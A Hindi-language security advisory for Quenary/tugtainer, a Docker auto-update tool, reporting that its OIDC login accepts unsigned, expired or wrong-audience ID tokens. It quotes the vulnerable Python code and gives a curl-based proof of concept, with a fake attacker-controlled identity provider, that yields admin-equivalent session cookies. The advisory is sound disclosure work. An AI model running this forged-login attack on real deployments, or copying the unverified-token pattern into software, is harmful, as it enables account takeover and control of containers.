सारांश

CVE स्थिति: अनुरोधित, असाइनमेंट लंबित। यह निष्कर्ष GHSA-crjc-6vc7-xrfh के रूप में प्रकाशित किया गया है। CVE असाइनमेंट पर इस रिपॉजिटरी का नाम बदलकर CVE-YYYY-NNNNN-tugtainer-PoC कर दिया जाएगा और इस बैनर को CVE लिंक से बदल दिया जाएगा।

शोधकर्ता	Dostxodjayev Abdullox (@squeeze440)
सलाहकार	GHSA-crjc-6vc7-xrfh
CVSS 3.1	8.1 (उच्च)
कमजोरी	CWE-347

---

सारांश

Quenary/tugtainer (कमिट 3138226) में backend/modules/auth/providers/auth_oidc_provider.py में OIDC प्रमाणीकरण प्रदाता में क्रिप्टोग्राफिक हस्ताक्षर का अनुचित सत्यापन, एक हमलावर को जो tugtainer बैकएंड और कॉन्फ़िगर किए गए OIDC प्रदाता के बीच टोकन-एक्सचेंज प्रतिक्रिया को नियंत्रित या इंटरसेप्ट करने की स्थिति में है (उदाहरण के लिए उस पथ पर एक नेटवर्क MITM स्थिति, एक समझौता/दुर्भावनापूर्ण पहचान प्रदाता, या DNS/TLS-टर्मिनेशन समझौता), को मनमाना id_token जाली बनाने और GET /api/auth/oidc/callback के माध्यम से किसी भी पहचान के लिए पूरी तरह से प्रमाणित, एडमिन-समकक्ष tugtainer सत्र प्राप्त करने की अनुमति देता है।

उत्पाद

Quenary/tugtainer — वेब UI, एजेंट/बैकएंड आर्किटेक्चर के साथ स्व-होस्टेड Docker कंटेनर ऑटो-अपडेट टूल।

परीक्षण किया गया संस्करण

कमिट 31382268bf16df32f33316fe4d601ad1635871d4 (रिपो डिफ़ॉल्ट ब्रांच, 2026-08-05 को क्लोन किया गया)।

अनुमानित CVSS v3.1

8.1 (उच्च) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

• AC:H (AC:L नहीं): शोषण एक साधारण अप्रमाणित नेटवर्क अनुरोध नहीं है। इसके लिए हमलावर को यह नियंत्रित करने की आवश्यकता होती है कि सर्वर-टू-सर्वर कोड एक्सचेंज के दौरान टोकन एंडपॉइंट बैकएंड को क्या लौटाता है — वास्तविक रूप से tugtainer बैकएंड और वास्तविक IdP के बीच एक MITM स्थिति, या एक समझौता/दुर्भावनापूर्ण IdP जिसे बैकएंड विश्वास करने के लिए कॉन्फ़िगर किया गया है। यह एक वास्तविक, गैर-तुच्छ पूर्व शर्त है, इसलिए AC:L के बजाय AC:H का उपयोग किया गया है।
• UI:N: एक बार हमलावर के पास वह नेटवर्क स्थिति हो जाने पर, किसी पीड़ित की बातचीत की आवश्यकता नहीं होती — हमलावर पूरे लॉगिन प्रवाह को स्वयं चला सकता है (नीचे PoC में पुष्टि की गई, curl के साथ एंड-टू-एंड किया गया)।
• C:H/I:H/A:H: परिणामी सत्र एक पूर्ण, अप्रतिबंधित tugtainer सत्र है (OIDC पहचान के लिए कोई RBAC/allowlist मौजूद नहीं है — विवरण देखें) जिसमें प्रत्येक कंटेनर/होस्ट प्रबंधन एंडपॉइंट तक पहुंच है: सभी Docker होस्ट और कंटेनर को सूचीबद्ध/पढ़ना, कंटेनर शुरू/बंद/किल/हटाना, इमेज पुल करना, और (यदि किसी होस्ट पर ALLOW_HOOKS/ALLOW_EXEC सक्षम हैं) कंटेनर के अंदर कमांड चलाना।
• S:U: प्रभाव tugtainer की अपनी प्राधिकरण सीमा के भीतर रहता है (हमलावर एक प्रमाणित tugtainer उपयोगकर्ता बन जाता है); इसे एक अलग-अलग अधिकृत घटक में स्कोप परिवर्तन के रूप में नहीं माना जाता है।

विवरण

backend/modules/auth/providers/auth_oidc_provider.py, विधि _exchange_oidc_code (पंक्तियाँ 267–331), विशेष रूप से पंक्तियाँ 299–306:

# Verify and decode ID token if present
if "id_token" in token:
    # For now, we'll decode without verification (not recommended for production)
    id_token_claims = jwt.get_unverified_claims(token["id_token"])
    return {
        "access_token": token.get("access_token"),
        "id_token_claims": id_token_claims,
    }

jwt.get_unverified_claims() (python-jose) JWT पेलोड को हस्ताक्षर, exp/iat, या aud/iss की जाँच किए बिना base64-डिकोड करता है — जो OpenID Connect Core 1.0 §3.1.3.7 के अनुसार ID Token पर भरोसा करने से पहले एक RP को जो करना चाहिए, उसका ठीक विपरीत है। डेवलपर की अपनी टिप्पणी ("not recommended for production") पुष्टि करती है कि यह एक ज्ञात शॉर्टकट था, न कि एक जानबूझकर किया गया डिज़ाइन विकल्प।

परिणामी क्लेम्स बिना किसी अतिरिक्त जाँच के सीधे सत्र निर्माण में प्रवाहित होते हैं:

• callback() (पंक्ति 137) _exchange_oidc_code() को कॉल करता है और फिर _create_oidc_user_session() (पंक्ति 333), जो email/sub/preferred_username (पंक्तियाँ 341–345) को सीधे असत्यापित क्लेम्स से निकालता है और _set_cookies() के माध्यम से वास्तविक, हस्ताक्षरित tugtainer access_token/refresh_token JWT कुकीज़ (HttpOnly, SameSite=strict) बनाता है।
• कोडबेस में कहीं भी अनुमत OIDC पहचानों की कोई allowlist नहीं है (backend/ में allowlist/allowed-email पैटर्न के लिए grep कुछ नहीं लौटाता) — (असत्यापित) क्लेम्स में जो भी sub/email है वह नए सत्र की पहचान बन जाता है, जिसमें किसी भी अन्य लॉग-इन उपयोगकर्ता के समान पहुंच होती है (tugtainer में एकल सपाट विश्वास स्तर है, प्रति-उपयोगकर्ता RBAC नहीं)।
• चूंकि aud और iss की कभी जाँच नहीं की जाती, उसी IdP के पूरी तरह से असंबंधित क्लाइंट के लिए जारी किया गया ID Token — या, जैसा कि नीचे प्रदर्शित किया गया है, कचरा/बेमेल हस्ताक्षर और पहले से समाप्त exp वाला — वैध की तरह ही स्वीकार कर लिया जाता है।

यह केवल तब पहुंच योग्य है जब OIDC_ENABLED=true हो (एक एडमिन ऑप्ट-इन), इसलिए यह डिफ़ॉल्ट/केवल-पासवर्ड परिनियोजन को प्रभावित नहीं करता है।

प्रमाण की अवधारणा

इस कमिट से बनाए गए वास्तविक एप्लिकेशन के विरुद्ध गतिशील रूप से सत्यापित (docker build -f Dockerfile.app), सादे docker run के माध्यम से चलाया गया (प्रकाशित इमेज नहीं) इसके साथ:

OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback

एक न्यूनतम नकली OIDC प्रदाता (evidence/fake_idp.py, इस एंगेजमेंट फ़ोल्डर में रखा गया) एक वैध डिस्कवरी दस्तावेज़ प्रदान करता है, और POST /token पर हमेशा एक id_token लौटाता है जो जानबूझकर हर उस तरीके से अमान्य है जिसकी जाँच एक RP को करनी चाहिए:

• हस्ताक्षर = शाब्दिक प्लेसहोल्डर बाइट्स, वास्तविक HMAC/RSA हस्ताक्षर नहीं
• aud = "totally-wrong-client-id-not-tugtainers" (OIDC_CLIENT_ID से मेल नहीं खाता)
• exp = 1 घंटा पहले (पहले से समाप्त)

चरण (वास्तविक कमांड, वास्तविक आउटपुट, दोनों कंटेनर स्थानीय रूप से चलाए गए):

$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax

$ curl -s -i -b cookies.txt -c cookies.txt \
  "http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict

डिकोड किया गया access_token पेलोड (इस "उपयोगकर्ता" के लिए tugtainer के अपने JWT साइनर द्वारा बनाया गया):

{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
 "user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
 "email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
 "exp":1785918530,"iat":1785914930},"exp":1785922430}

सत्र फिर संरक्षित एंडपॉइंट के विरुद्ध लाइव पुष्टि की गई:

$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK

$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]

$ curl -s -i "http://localhost:19412/api/hosts/list"   # no cookies, for comparison
HTTP/1.1 401 Unauthorized